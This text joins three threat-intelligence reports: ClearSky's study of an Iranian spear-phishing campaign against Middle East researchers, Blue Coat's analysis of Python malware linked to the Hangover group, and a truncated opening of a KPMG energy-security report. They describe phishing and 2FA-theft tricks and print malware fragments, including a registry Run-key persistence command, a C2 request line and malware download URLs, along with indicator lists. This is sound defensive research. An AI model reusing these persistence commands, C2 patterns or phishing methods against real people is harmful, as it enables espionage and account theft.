clearskysec.com Page 2 of 18 Contents Foreword .............................................................................................................................................................. 3 Modus operandi - investigation of targeted attacks ............................................................................................ 4 Part 1 -spear phish 1 - with malware ......................................................................................................... 4 Part 2 - phone calls to victims ...................................................................................................................... 5 Part 3 - spear phishing 2 ............................................................................................................................ 5 Part 4 - breaking into an Israeli research institute to set up phising page 3 ............................................. 7 Part 5 - spear phishing 4 ............................................................................................................................ 9 Part 6 - Abusing account recovery mechanisms ........................................................................................10 Part 7 - Private messages ...........................................................................................................................10 Targets and further incidents .............................................................................................................................12 Targets ............................................................................................................................................................12 Further incidents ............................................................................................................................................13 The Iranian connection .......................................................................................................................................14 Malware analysis ................................................................................................................................................15 Macro .............................................................................................................................................................15 tmp.bat ...........................................................................................................................................................16 NTUSER.datGUID.exe ...................................................................................................................................16 CWoolger Keylogger .......................................................................................................................................16 Technical indicators and IoC ...............................................................................................................................18 Domains .........................................................................................................................................................18 IPs ...................................................................................................................................................................18 Malware .........................................................................................................................................................18 Malicious Email accounts ...............................................................................................................................18 http://clearskysec.com/ ______________________________________________________________________________ Clearsky - Cyber security.
clearskysec.com Page 3 of 18 Foreword This report reviews an ongoing cyber-attack campaign dating back to mid-2014.
Additional sources indicate this campaign may date as far back as 2011.
We call this campaign Thamar Reservoir, named after one of the targets, Thamar E. Gindin1, who exposed new information about the attack and is currently assisting with the investigation.
The campaign includes several different attacks with the aim of taking over the targets computer or gain access to their email account.
We estimate that this access is used for espionage or other nation-state interests, and not for monetary gain or hacktivism.
In some cases, the victim is not the final target the attackers use the infected computer, email, or stolen credentials as a platform to further attack their intended target.
The attackers are extremely persistent in their attempts to breach their targets.
These attempts include: Breaching trusted websites to set up fake pages Multi-stage malware Multiple spear phishing emails based on reconnaissance and information gathering.
Phone calls to the target.
Messages on social networks.
While very successful in their attacks, the attackers are clearly not technically sophisticated.
They are not new to hacking, but do make various mistakes, such as grammatical errors, exposure of attack infrastructure, easy to bypass anti analysis techniques, lack of code obfuscation, and more.
These mistakes enabled us to learn about their infrastructure and methods.
More importantly, we have learned of 550 targets, most of them in the Middle East, from various fields: research about diplomacy, Middle East and Iran, international relations, and other fields Defense and security Journalism and human rights and more.
Various characteristics of the attacks and their targets bring us to the conclusion that the threat actors are Iranian.
In addition, we note that these attacks share characteristics with previously documented activities: Attacks conducted using the Gholee malware, which we discovered.
Attacks reported by Trend Micro in Operation Woolen-Goldfish.
Attacks conducted by the Ajax Security Team as documented by FireEye.
Attacks seen during Newscaster as documented by iSight.
For further details and questions, or if you think you are a victim please contact us at: info [at] clearskysec.com 1 Dr. Gindin is an expert on Iranian linguistics and Pre-Islamic Iran, renowned lecturer and research fellow at the Ezri Center for Iran and Persian Gulf Research in the University of Haifa.
http://www.thmrsite.com/?page_id198 http://clearskysec.com/ http://www.thmrsite.com/?page_id198 ______________________________________________________________________________ Clearsky - Cyber security.
clearskysec.com Page 4 of 18 Modus operandi - investigation of targeted attacks This chapter contains an in-depth analysis of a series of attacks against one of the Thamar Reservoir targets.
The heavy attack began two days after the target, Dr. Thamar E. Gindin, was interviewed on the IDF radio station2.
Over the course of two weeks, the threat actor used the following attacks against a single target: 1.
One spear phishing email containing malware.
2.
Three separate email messages with links to a fake log-in page, (including two factor authentication), one of them hosted on a breached website, the other two on dedicated domains.
3.
Two phone calls from the attacker, designed to build rapport for one of the phishing emails.
4.
Numerous attempts to take over cloud accounts using their Account Recovery mechanism.
5.
Numerous messages on Facebook and by e-mail.
While we describe this case mostly from the point of view of a single target, we would like to emphasize that these scenarios repeated themselves for many other targets.
Part 1 -spear phish 1 - with malware In May 2015 a legitimate email was sent asking several researchers to fill out a form that was sent as a Word document.
The attackers obtained this correspondence, presumably by breaching the email account of the sender.
They created a new Gmail account with a username similar to that of the original sender.
Then, they sent the recipients a follow-up message (including the initial correspondence), asking them to fill up the attached form again.
This time, the attachment was a weaponized Microsoft Excel file (The file is analyzed in the Malware analysis chapter of this report).
In other cases the attackers used the same methods - sending malware or phishing from a cloud email service (such as Gmail or Hotmail) using a username similar to that used by one of the targets acquaintances.
The malicious email was written in the original language of the correspondence - Hebrew.
But it is clear that the attackers do not know Hebrew, as they made grammatical errors in the few words they have added to it (the rest were copied from the original email).
Other messages, in English and Farsi, were analyzed by several specialists3and were determined to have been written by a native Iranian Persian speaker.
2 The interview revolved around her own way to being a linguist and an Iranist, and promoting her books The Good, the Bad and the World - a Journey to Pre-Islamic Iran and The Book of Esther, Unmasked .
3Three of the targets are Iran and the Middle East researchers, and two of them are native Farsi speakers.
Going through numerous messages they have received, and in one case a phone call - they have determined that the writer/speaker is native in Iranian Persian.
http://clearskysec.com/ ______________________________________________________________________________ Clearsky - Cyber security.
clearskysec.com Page 5 of 18 Below is an example of another case (the email includes the professional signature of the impersonated sender): Part 2 - phone calls to victims A week later, the attackers called the targets office number.
The office manager, who received the call, later said that someone with bad English had asked to schedule an interview.
The attackers later called the targets personal cell phone, and left a similar message with a callback number in London.
The attackers called the targets in other cases as well.
For example, after breaching the password of a victim back in November 2014, the attacker called, pretending to be the assistant of a professor abroad who wished to talk to the victim.
After several unexplained cut-offs during the call, the attacker said they should switch to Google Hangout, asking for the conversation code the victim had just received to his cell phone.
The code was actually the second factor authentication for the victims Gmail account.
As soon as he gave it away - the attackers took over his Gmail, Facebook and other accounts.
Part 3 - spear phishing 2 That evening, the target received an email written in Farsi, coming from a spoofed persianbbc.co.uk email address (the real address of BBC Farsi).
The message was a follow up on the call that morning, asking to schedule the interview for the next day: http://clearskysec.com/ mailto:persianbbc.co.uk ______________________________________________________________________________ Clearsky - Cyber security.
clearskysec.com Page 6 of 18 The headers of the message indicate that it was spoofed, and was actually sent from a server in Hungary, mail5.maxer.hu.
The email contained a linked text, Document.pdf, with this URL: https://www.google.com/url?qhttp://login-users.com/Drive- Auto/AutoSecond?ChkredactedsaDsntz1usgredacted The URL is composed of two parts.
The first part is a legitimate Google.com address, with the q parameter.
The second part is the value of that parameter - a fake Google Drive log-in page in the attackers controlled domain - login-users.com.
Upon clicking the link, the target is redirected to the address in the q parameter.
This is a trick the attackers use to mislead the target - making her think she is about to visit a legitimate Google website.
The fake Google Drive log-in page was customized to the target her real username was already filled in: http://clearskysec.com/ ______________________________________________________________________________ Clearsky - Cyber security.
clearskysec.com Page 7 of 18 The Whois information for the domain is similar to those used in legitimate Google owned domain, except for the d instead of b in the registrant-email value: gmail-adusegoogle.com: The attacker sent three follow-up emails to make sure the target had received the first one, from the same server in Hungary and with the Reply-To address saeed.kn2003gmail.com.
Part 4 - breaking into an Israeli research institute to set up phising page 3 The next morning, several targets received an email inviting them to participate in an Iran Israel Forum of an Israeli research institute.
The email can be seen below (sensitive information has been redacted): The headers of the email indicate that they the email was not spoofed, and had been sent from the research institute.
As can be seen, the email contained various grammatical mistakes.
Moreover, anyone who knows http://clearskysec.com/ ______________________________________________________________________________ Clearsky - Cyber security.
clearskysec.com Page 8 of 18 the institute would notice that parts of the message are inaccurate (this will not be elaborated here in order not to expose the institutes identity).
The words Access To Forum linked to a page within the real, compromised, website of the institute.
The page contained more information about the forum, and offered four sign in options, as can be seen in the screenshot below: Clicking one of the sign-in options led to a custom made log-in page, again, with the targets username, email, and picture already present: http://clearskysec.com/ ______________________________________________________________________________ Clearsky - Cyber security.
clearskysec.com Page 9 of 18 After submitting a password, the victim is taken to the next fake page in which she is asked to submit the two factor authentication code she has just received to her phone: Upon submission, the victim is redirected to a static registration confirmed page.
Interestingly, the log file for the previous pages was hosted publicly on the same virtual folder.
The log contained the false credentials the target submitted (as she recognized this was a fake)4: We reported the breach to the institue, and they investigated and cleaned it off.
They informed us that their own servers were never breached.
Rather, a server run by a researcher who was givenn a virtual folder within their domain was.
This, of course, did not change the end result - the attackers managed to implant a fake page within the Instititue domain, and were able to send an email using the same domain.
This pattern is recurring:  The attackrs go after low hanging fruits in order to reach their goal rather than using advnaced techincal means.
Part 5 - spear phishing 4 Four days later, the target received the following email from the same fake address as in part 1: 4 The pass filed intermingled with the IP filed in the original log, file due to bidirectionality issues.
http://clearskysec.com/ ______________________________________________________________________________ Clearsky - Cyber security.
clearskysec.com Page 10 of 18 The email contained the real textual signature of the sender, and the word Toda (Thank you, in Hebrew), as the sender usually writes.
The hyperlink text in the message appeared to be leading to youtube.com, but in fact linked to a fake address that only looked like a YouTube domain.
The page contained a private Youtube video, asking the viewer to sign in in order to watch it: After signing in, the page redirected to a specific interview in targets real YouTube channel - proving once again that the attacks are targeted and based on reconnaissance.
Part 6 - Abusing account recovery mechanisms During the writing of this article, the attackers continued to attempt to take over various accounts of the target.
For example, they tried to fool Google into giving them access to the targets Gmail accounts using the Google Account Recovery process5 (a process which in certain cases enables one to regain access to an account even if the password and other means of authentication are unavailable).
The attackers tried similar methods against the targets account on Facebook and Yahoo, and had also set up a fake Hotmail account, which was used as the secondary email to which the recovered password should be sent.
Part 7 - Private messages The target has been contacted by various weird characters on Facebook and by e-mail.
They have been asking her various questions that have nothing to do with her professional expertise and tried to contact her in various ways.
The conversation are conducted in Persian.
We cannot find a direct connection between these Facebook characters and the above mentioned attacks.
However, in addition to them happening close to the attacks, we do know that at least one of the accounts is fake.
5https://www.google.com/accounts/recovery/ http://clearskysec.com/ https://www.google.com/accounts/recovery/ ______________________________________________________________________________ Clearsky - Cyber security.
clearskysec.com Page 11 of 18 One of the fake characters who has engaged in conversation, is using throughout her profile pictures of a Russian model, and has presented herself as with different, contradicting, background stories in conversations with different targets.
http://clearskysec.com/ ______________________________________________________________________________ Clearsky - Cyber security.
clearskysec.com Page 12 of 18 Targets and further incidents Targets So far we have exposed a list of more than 500 targets by name and email.
The targets come, mostly, from the following fields: Both Academic researchers and practitioners in the fields of counter-terror, diplomacy, international relations, Iran and Middle East, and other fields, such as Physics.
Security and defence.
Journalists and Human rights activists.
Other similar fields.
In some cases the attackers tried to breach the account of a relative or colleague of the real target.
Below is the target distribution by country: http://clearskysec.com/ ______________________________________________________________________________ Clearsky - Cyber security.
clearskysec.com Page 13 of 18 Further incidents We have investigated and can publicly mention the following incident by the same threat actor: A security company had numerous employees targeted with customized phishing pages.
The attackers managed to infect computers within the company and steal information.
In several other cases numerous employees from the same organization were targeted.
A fake Gmail account was set up using the name of the head of a research center.
Following, several of his contacts received targeted phishing email from the fake account.
A fake domain has been set up, imitating that of the Interdisciplinary Center Herzliya, an Israeli college (unrelated to the research institute described above), and has been used in attacks.
The table below correlates between the threat actor behind the Thamar Reservoir campaign and the name of threat actor or campaign, as given in other reports: Threat actor / campaign  Correlations Certainty Gholee6 by Clearsky Overlapping infrastructure and malware.
High Rocket Kitten7, Operation WOOLEN-GOLDFISH by Trendmicro Overlapping infrastructure and malware.
High Ajax Security Team, Operation Saffron Rose8 by FireEye Similar TTPs and interests - Attacks against universities and researchers Use of fake conference pages Use of a domain that spoofs the name of the targeted organization.
Medium Newscaster9 by iSight Similar TTPs - pretending to be a reporter in order to get close to approach the victim.
Medium 6http://www.clearskysec.com/gholee-a-protective-edge-themed-spear-phishing-campaign 7http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-operation-woolen-goldfish.pdf 8https://www.fireeye.com/resources/pdfs/fireeye-operation-saffron-rose.pdf 9http://www.isightpartners.com/2014/06/uncovering-newscaster-experts-cyber-threat-intelligence/ http://clearskysec.com/ http://www.clearskysec.com/gholee-a-protective-edge-themed-spear-phishing-campaign/ http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-operation-woolen-goldfish.pdf https://www.fireeye.com/resources/pdfs/fireeye-operation-saffron-rose.pdf http://www.isightpartners.com/2014/06/uncovering-newscaster-experts-cyber-threat-intelligence/ ______________________________________________________________________________ Clearsky - Cyber security.
clearskysec.com Page 14 of 18 The Iranian connection Several characteristics of the attacks have led us to the conclusion that an Iranian threat actor is the likely culprit.
We assume, though do not have direct evidence, that it is being supported by the Iranian regime, or performed by the Regime itself: The context of the attacks and cover stories all revolve around Iran.
Importantly, as determined by several professionals - the attackers speak and write in native Iranian Persian and make mistakes characteristic of Persian speakers.
In one of the hacked accounts, when retrieved, the interface language had been changed to Persian.
The targets and victims match the interests of Iran.
Moreover, rather than stealing money or performing high key cyber terror attacks (such as information leaks or deferments), the attackers only steal information and use the access to computers for further attacks - indicating espionage, IP theft , etc.
The TTPs match those of attackers and attacks that were attributed to Iran by other security companies, as mentioned in the previous chapter.
Some of the domains and IPs used by the attackers in the cases we investigated were mentioned and attributed to an Iranian threat group in an advisory by the Financial Sector Cyber Intelligence Group, and the Department of the Treasury, CIG Circular 3510 10http://webcache.googleusercontent.com/search?qcache:dzV7dGdsTU8J:theatre.fsu.edu/index.php/content/downlo ad/208893/1786893/file/20150311_WASP.pdf http://clearskysec.com/ http://webcache.googleusercontent.com/search?qcache:dzV7dGdsTU8J:theatre.fsu.edu/index.php/content/download/208893/1786893/file/20150311_WASP.pdfcd1hlenctclnkglil http://webcache.googleusercontent.com/search?qcache:dzV7dGdsTU8J:theatre.fsu.edu/index.php/content/download/208893/1786893/file/20150311_WASP.pdfcd1hlenctclnkglil ______________________________________________________________________________ Clearsky - Cyber security.
clearskysec.com Page 15 of 18 Malware analysis The malicious Excel file (mentioned in Part 1 - speared email message containing malware) serve as a Dropper - it creates two files and runs them.
When opening the excel file (.xlsb), the user sees a blank sheet and the standard Macros have been disabled message.
If enabled by the user, the macro drops NTUSER.datGUID.exe and tmp.bat.
The content of the excel sheet is then presented.
It is case specific and customized to the victim.
Different malware can be downloaded to the infected computer.
On an infected computer we have analyzed, we found CWoolger Keylogger.
The macro, two files, and CWoolger are analyzed below.
Macro The VBA macro is similar to that used to drop Gholee, as we reported about 8 month ago11.
However, in current case, a simple downloader was used instead of Gholee.
The VBA contains a series of functions built of VBA Character Codes: These are constructed into a single variable and then written as a file to disc, creating and running NTUSER.datGUID.exe Next, tmp.bat is written and executed.
11http://www.clearskysec.com/gholee-a-protective-edge-themed-spear-phishing-campaign http://clearskysec.com/ http://www.clearskysec.com/gholee-a-protective-edge-themed-spear-phishing-campaign/ ______________________________________________________________________________ Clearsky - Cyber security.
clearskysec.com Page 16 of 18 tmp.bat Tmp.
Bat contains two lines.
The first create a registry key without prompting the user for permission, telling the computer to run NTUSER.datGUID.exefrom USERPROFILE every time the computer starts, naming it My App.
For example: REG ADD HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /V My App /t REG_SZ /F /D C:\Users\Nisa\NTUSER.dat813E7E06-2AC5-4F3D-94DA-CF6E298F7B18.exe The second line deletes tmp.bat.
NTUSER.datGUID.exe The dropped exe file (55ff220e38556ff902528ac984fc72dc) is a Downloader.
It is created in UserProfile, sized 8.5KB, and is recognized by 19 out of 57 antiviruses on Virus Total12 (the sample was not submitted by us).
It contains simple mechanisms to detect and prevent analysis, such as IsDebuggerPresent: The malware tries to download files form a remote address, apparently stage two, the actual malware.
CWoolger Keylogger We have not been able to get the final malware when running the malicious excel file and dropper in the lab, as the server was not responding.
However, we have performed forensic analysis of the computer used by a target who opened the malicious Excel file.
That computer was infected with CWoolger keylogger.
An analysis of this tool can be read in Trendmicros paper Operation WOOLEN-GOLDFISH13 in chapter Wool3n.
H4ts Recent Activities: CWoolger Keylogger.
Below are additional notes about the infection we found: 12virustotal.com/en/file/072a43123e755ad1bdd159488a85a353227ec51f273c4f79c26ff7e4656c0ef4/analysis/ 13 http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-operation-woolen- goldfish.pdf http://clearskysec.com/ https://www.virustotal.com/en/file/072a43123e755ad1bdd159488a85a353227ec51f273c4f79c26ff7e4656c0ef4/analysis/ http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-operation-woolen-goldfish.pdf http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-operation-woolen-goldfish.pdf http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-operation-woolen-goldfish.pdf ______________________________________________________________________________ Clearsky - Cyber security.
clearskysec.com Page 17 of 18 The CWoolger exe file was located in appdata\microsoft\windows\templates\wlg.exe To gain persistency, a link to the exe file was placed in in the Startup folder, with the name WinDefender and the notepad icon.
A file containing the collected keystrokes is saved in temp in a file called wlg.dat.
it is sent to an attacker controlled server every 15 minutes.
These findings are similar to those found by Trendmicro  indicating that the attackers have been using the same tool for months.
We would like to thank Omri moyal, VP Research at Minerva Labs for assisting the analysis.
http://clearskysec.com/ ______________________________________________________________________________ Clearsky - Cyber security.
clearskysec.com Page 18 of 18 Technical indicators and IoC Domains Domains hosting phishing pages: login-users[.
]com drives-google[.
]co qooqle[.
]co video[.]qooqle[.
]co drive-google[.
]co gfimail[.
]us Google-Setting[.
]com Google-Verify[.
]com Mail-Verify[.
]com IPs IPs of phishing pages: 107.6.172.51 5.39.223.227 31.192.105.10 Malware Downloader: MD5    55ff220e38556ff902528ac984fc72dc SHA-1    b67572a18282e79974dc61fffb8ca3d0f4fca1b0 SHA-256  072a43123e755ad1bdd159488a85a353227ec51f273c4f79c26ff7e4656c0ef4 MD5    b4790618672197cab31681994bbc10a4 SHA1    d5b2b30fe2d4759c199e3659d561a50f88a7fb2e SHA-256  1c9e519dca0468a87322bebe2a06741136de7969a4eb3efda0ab8db83f0807b4 MD5    60f5bc820cf38e78b51e1e20fed290b5 SHA1    476489f75fed479f19bac02c79ce1befc62a6633 SHA256   69e48eb82ce7387d65cc1a82c5a6a170dc6121d479736b1dd33358d09c483617 Malicious Email accounts Fake or breached email accounts, from which malicious messages were sent: saeed.kn2003gmail.com http://clearskysec.com/
Snake In The Grass: Python-based Malware Used For Targeted Attacks bluecoat.com/security-blog/2014-06-10/snake-grass-python-based-malware-used-targeted-attacks Researchers at Blue Coat Systems have identified an intelligence-gathering campaign related to the Hangover operation detailed in 2013.
The targets of this operation appear to be Pakistani and presumably represent military interests.
The malware used for this is very simple, but uses a little used format.
Instead of the programming languages most commonly used for malware creation, the actors have turned to using Python, a powerful scripting language.
The scripts were found embedded inside regular executable files designed to run Python scripts without having to install the full Python package.
The inclusion of malicious scripting code in relatively mainstream installers is probably done to avoid antivirus detections, and regular AV detection rates on these executables tend to be quite low.
However, BlueCoat Malware Analysis Appliance proactively detects these malwares with a high risk score.
Several indicators point towards the same attackers as were detailed in the Norman Shark (now part of Blue Coat Systems) Hangover report from last year.
This campaign is not the first sign of life from these actors after we published our report  there have been several smaller initiatives during the autumn of 2013.
Initial malware The initial installers of this campaign were discovered due to behavior similarities with previous Hangover-related malware.
These appear to have been prepared for email distribution or possibly for web download.
Four such installers were identified files with the MD5 hash of: 0392fb51816dd9583f9cb206a2cf02d9, (original name Brief DG Arty-8 30 Aug.scr ) e6d9fce2c6e766b0899ac2e1691b8097, (original name Debriefing Indian Missile Def Prg.scr) e013691e702778fa6dbc35b15555c3c2, (original name HQ Div Sp Eqs 21 Dec 2013 final.scr ) 9d299d3a074f2809985e0317b9c461eb, (original name HQ 19 div CTGY PLAN-Offn Objs.scr ) These are all self-extracting archives (WinRAR SFX RAR and SFX ZIP), which again contain lure documents and a malicious Python installer.
0392fb51816dd9583f9cb206a2cf02d9: These files are all created using the PyInstaller tool.
The archive-viewer.py Python script provided with the PyInstaller package can be used to examine these installers: 1/10 https://www.bluecoat.com/security-blog/2014-06-10/snake-grass-python-based-malware-used-targeted-attacks Most of the objects in these packages are legitimate libraries and components required by the installer itself.
The highlighted send object is where the malicious Python script resides.
And, as Python is a human-readable format, this makes analysis straightforward: Python function made for testing connection to Command  Control servers.
Note how worldvoicetrip[.
]com can supply a new CC server (code4) in domain.html.
There are two main functionalities for these scripts: Harvest system information using existing system tools like systeminfo.exe.
This information is attempted uploaded to Command  Control (CC) server.
2/10 Download and execute more malicious executables.
Decoy documents The documents accompanying the malware executables seem all related to Indian military matters.
The excerpt below is labeled confidential however the text is taken from a publicly available source at armscontrol.org.
(
https://www.armscontrol.org/act/2013_01-02/Indian-Missile-Defense-Program-Advances) This document contains references to Artillery Firing Data Computing Devices (AFDCDs), which are given to be Casio FX-750 and Casio FX-880-P.
However, these are models of handheld calculators from 30 years ago.
They are not used for military purposes today.
At least, I hope not.
Case expansion 3/10 https://www.armscontrol.org/act/2013_01-02/Indian-Missile-Defense-Program-Advances Case expansion is the process of mapping out connections with other cases and malwares to understand the larger threat picture.
This gives information about what activities are ongoing against whom using what tools and how to mitigate This process involves multiple iterations of pivoting by a great deal of possible parameters  similarities in malware, similarities in network traffic, various domain registration and hosting information, passive DNS data etc.
We begin with the beginning  what we can learn from the initial malware files.
Command  Control  hosted malware As shown previously, the CC servers used in these malwares were: games-playbox[.
]com worldvoicetrip[.
]com The latter server was down by the time we noticed the malware, but games-playbox[.
]com still resolved to the IP 176.56.238.177, belonging to AS198203 ASN-ROUTELABEL RouteLabel V.O.F.
in the Netherlands.
Internal and public databases show that this server has been hosting malware for download: hxxp://games-playbox[.
]com/testing1/download/reg.exe hxxp://176.56.238.177/testing2/download/reg.exe hxxp://176.56.238.177/testing2/download/reg1.exe hxxp://176.56.238.177/testing4/download/reg.exe hxxp://176.56.238.177/testing2/download/winrm.exe hxxp://176.56.238.177/testing2/download/sppsvc.exe hxxp://games-playbox[.
]com/winone1/download/stisvc.exe hxxp://games-playbox[.
]com/winone1/download/sppsvc.exe Brute force testing showed that at least subfolders winone2, winone3 and winone4 contained similar content as winone1.
reg.exe, reg1.exe: These are MINGW32 C (not Python) executables which have only one function  to insert a registry key that allows other malware to be run on startup.
For example, the executable reg.exe (05dc62dcd4ddc9f2a79c5d23647c25c2) creates the key: HKCU\Software\Microsoft\Windows\CurrentVersion\Run SearchC:\dir2\CscService.exe This separation of functions is likely done to avoid detection logic that triggers on software that inserts itself into such run keys.
winrm.exe, stisvc.exe: 4/10 This executable is a data stealer, which enumerates folders and harvests files of format doc, xls, ppt, pps, inp, pdf, xlsx, docx, pptx.
sppsvc.exe: This is a keylogger, which hooks keyboard and mouse events.
In connection with these findings we found that the same Python functionality was sometimes embedded in executable files of a slightly different format  namely py2exe.
These files have a different internal structure than PyInstallers, but the embedded scripts can be extracted and decoded using the Python module uncompyle2.
Passive DNS analysis shows that games-playbox[.
]com has shared IP address with other suspicious domains: Rdata results for ANY/176.56.238.177 techto-earth[.
]com.
A     176.56.238.177 games-playbox[.
]com.
A     176.56.238.177 download-mgrwin[.
]com.
A     176.56.238.177 Indeed, techto-earth[.
]com shows up in Google with an entry on the URL checking service URLQuery[.
]net.
5/10 This download link (hxxp://techto-earth[.
]com/eastwing/download/sppsvc.exe) was at the point of writing live, and the downloaded executable (md5 c571b77469ad3c5ef336860605ee85c6) was verified as a PyInstaller-based malware.
Brute force attempts showed that this folder also contained stisvc.exe (md5 f2a1ca02bf4a63a3d4a6c6464f5a925b) and reg.exe these have same functionality as the identically named executables found on games-playbox[.
]com.
The techto-earth[.
]com domain now resolved to the IP address 81.4.125.90, similarly belonging to the Dutch provider RouteLabel.
The domain download-mgrwin[.
]com which shared the IP 81.4.125.90 with techto-earth[.
]com was also found to host similar malware: hxxp://download-mgrwin[.
]com/southside/download1/stisvc.exe md5 6ec82e9eccb9bee050c9f7f2750d0c7c hxxp://download-mgrwin[.
]com/southside/download1/sppsvc.exe md5 acfada8e91eda6cca2da66bbb032d924 hxxp://download-mgrwin[.
]com/eastside/download/sppsvc.exe md5 6dc9eee24f8d5cba1ca3919b87507d86 Nick Agroyes Domain registration information is useful for connecting cases.
Though often falsified, reuse of the same registrant information is common, thus providing a way of linking different domains.
download-mgrwin[.
]com was registered on the email address infocommunication-principals[.
]com, purportedly belonging to one Nick Agroyes: This is a faked record, but the same address was used to register other domains of which some have been documented used by malware - alertmymailsnotify[.
]com, communication-principals[.
]com, servicesprocessing[.
]com and websourceing[.
]com.
communication-principals[.
]com:  md5: 664f32f06dd7bd8c94df6edfcf6285da This is an exploited RTF file leveraging the CVE-2012-0158 RTF vulnerability which downloads a file from hxxp://communication-principals[.
]com/vargualm12/putty.exe servicesprocessing[.
]com: 6/10 VirusTotal shows a number of links to malicious executables on this domain.
hxxp://servicesprocessing[.
]com/naspckn/plugins/wsutils.exe hxxp://servicesprocessing[.
]com/naspckn/plugins/shlwapi.exe hxxp://servicesprocessing[.
]com/panomasi/plugins/shlwapi.exe : md5 eeaf96b1988c7016780c0d91ce2451c8 hxxp://servicesprocessing[.
]com/panomasi/plugins/wsutils.exe  : md5 4a9a912a8610495029ef3df813272d8a Other registrants The file 4a9a912a8610495029ef3df813272d8a has also been hosted elsewhere, on alertmymail[.
]com: hxxp://alertmymail[.
]com/lotopoto07/plugins/wsutils.exe This domain is registered on the registrant sakanikarediffmail[.
]com.
Other domains owned by this entity are necessaries-documentation[.
]com and accountsloginmail-process[.
]com which show pDNS overlap with the previously mentioned malicious domains.
Passive DNS investigation and malware hosting data shows additional overlaps with the domains newsfairprocessing[.
]com and manufacturing-minds[.
]com.
These domains were registered to the registrant tomhanks542gmail[.
]com.
Malware referenced in relation to these domains is for example: md5: 6f9f2e57eb06c5385f7e9370a71aa34b.
This is a MINGW C keylogger, hosted at: hxxp://newsfairprocessing[.
]com/imopo99/plugins/rpcapd.exe hxxp://necessaries-documentation[.
]com/khtergf5541/plugins/rpcapd.exe AutoIt Though many of the malwares we have examined in this campaign were based on Python, a number of similar malware files were found to be based on a different scripting language  AutoIt.
One such malware is known under the family name Emupry or AutoIt/Emupry.
The executable file Quetta_Killings_Footage.exe (md5 387947d5891aeb2c32f231e9abadfcec) connects to the known malicious domain communication-principals[.
]com.
When the AutoIt script is extracted we see that important variables are base64-encoded.
For clarity, these have shown inline as comments below: 7/10 Very similar AutoIt malware was found for the following CC servers (domains in bold were documented in the original Hangover report): MD5                                                            CC domain 8c18852f79f14880ed9bd1d3be2fa48c    alertmymail[.
]com ddd6b9bef4d37b43484d1a0eab4753c6    alertmymail[.
]com 99f7cb87a4acbbd2aed2c4e860cd0f5a    necessaries-documentation[.
]com 04af2e8a7a1e934ab2000d701948a657    newsfairprocessing[.
]com 1f72e19999d56a11cd564d1f7b0652e7    onestop-shops[.
]com 2683e1d77b20e7aa75ade640ddb522d6    onestop-shops[.
]com 6d6fe7d36e1c43aab534644378d56dfb    westdelsys[.
]com 14a11b125f32a5a5773c23021ac4c1a1    manufacturing-minds[.
]com 84e2d98e4b3272b953b63d2021735fd3    cloudone-opsource[.
]com fcccf9cb698297bb686561e7af7dad94    servicesprocessing[.
]com f0ef59265610dedab40f8386af79f861    knight-quest[.
]com HTTP request format Note the form of the HTTP requests used by this AutoIt malware: http://server/folder/online.php?sysname.
The Python malware we mentioned first in this article constructed identical requests: dfiles5  urlopen(http:// getserver  foldername /online.php?sysnamecname) This request form was used in a number of Hangover-related cases as well.
Given the similarities in methodology and targeting we consider it highly likely that the current attack malware and the Hangover infrastructures are related.
It points towards the use of the same backend infrastructure, designed to control different types of malware.
8/10 Above: Infrastructure map.
Conclusion This is an operation of far smaller scope than the original Hangover infrastructure but as more capacity is rebuilt this might grow.
We will keep an eye on what happens in this space.
It is noteworthy that they have adopted the use of scripting langauages for this type of data theft scripts are easy to maintain even by novice programmers.
Indicators: Domains accountsloginmail-process[.
]com alertmymail[.
]com alertmymailsnotify[.
]com cloudone-opsource[.
]com communication-principals[.
]com devilcreator[.
]com download-mgrwin[.
]com games-playbox[.
]com knight-quest[.
]com manufacturing-minds[.
]com necessaries-documentation[.
]com newsfairprocessing[.
]com onestop-shops[.
]com servicesloginmail-process[.
]com servicesprocessing[.
]com techto-earth[.
]com websourceing[.
]com westdelsys[.
]com worldvoicetrip[.
]com Indicators: IP addresses 9/10 176.56.238.177 213.229.64.222 37.59.175.131 46.32.235.162 81.4.125.90 Indicators: Malware MD5 04af2e8a7a1e934ab2000d701948a657    a24137ea1a87b89f24ecaa0b9cb5382a 14a11b125f32a5a5773c23021ac4c1a1    dedb56941cfaf1a650e38ba2b43c8e2b 1f72e19999d56a11cd564d1f7b0652e7    0392fb51816dd9583f9cb206a2cf02d9 2683e1d77b20e7aa75ade640ddb522d6    6ec82e9eccb9bee050c9f7f2750d0c7c 387947d5891aeb2c32f231e9abadfcec    9d299d3a074f2809985e0317b9c461eb 6d6fe7d36e1c43aab534644378d56dfb    acfada8e91eda6cca2da66bbb032d924 84e2d98e4b3272b953b63d2021735fd3    c571b77469ad3c5ef336860605ee85c6 8c18852f79f14880ed9bd1d3be2fa48c    e013691e702778fa6dbc35b15555c3c2 99f7cb87a4acbbd2aed2c4e860cd0f5a    e6d9fce2c6e766b0899ac2e1691b8097 a8bc0a09b5ee1e9ff40eac10ba0d43ed    f2a1ca02bf4a63a3d4a6c6464f5a925b ddd6b9bef4d37b43484d1a0eab4753c6    0739e1aea8c2928b9d1b3bcd145e0bcb f0ef59265610dedab40f8386af79f861    4a9a912a8610495029ef3df813272d8a fcccf9cb698297bb686561e7af7dad94    eeaf96b1988c7016780c0d91ce2451c8 05dc62dcd4ddc9f2a79c5d23647c25c2    f5d4664a607386c342fdd3358ea38962 349583df5921e3d9fca9d4864072f6ca    f68eb7db21cd8abf5f60b16ca6c6a5e7 6f9f2e57eb06c5385f7e9370a71aa34b    664f32f06dd7bd8c94df6edfcf6285da 8dbadff3529ca03b8d453a7c9aaf3c6c    6dc9eee24f8d5cba1ca3919b87507d86 Passive DNS data used for this article were provided by Farsight Security, Inc. 10/10 Snake In The Grass: Python-based Malware Used For Targeted Attacks Initial malware Decoy documents Case expansion Conclusion
KPMG GLOBAL ENERGY INSTITUTE Energy at risk A study of IT security in the Energy and Natural Resources industry kpmg.com/energyaspac 1 Shamoon, also known as Disttrack, is a modular computer virus discovered in 2012 that attacks computers running the Microsoft Windows NT line of operating systems.
The virus is being used for cyber espionage in the energy sector.
Its discovery was announced on 16 August 2012 by Symantec, Kaspersky Lab, and Seculert.
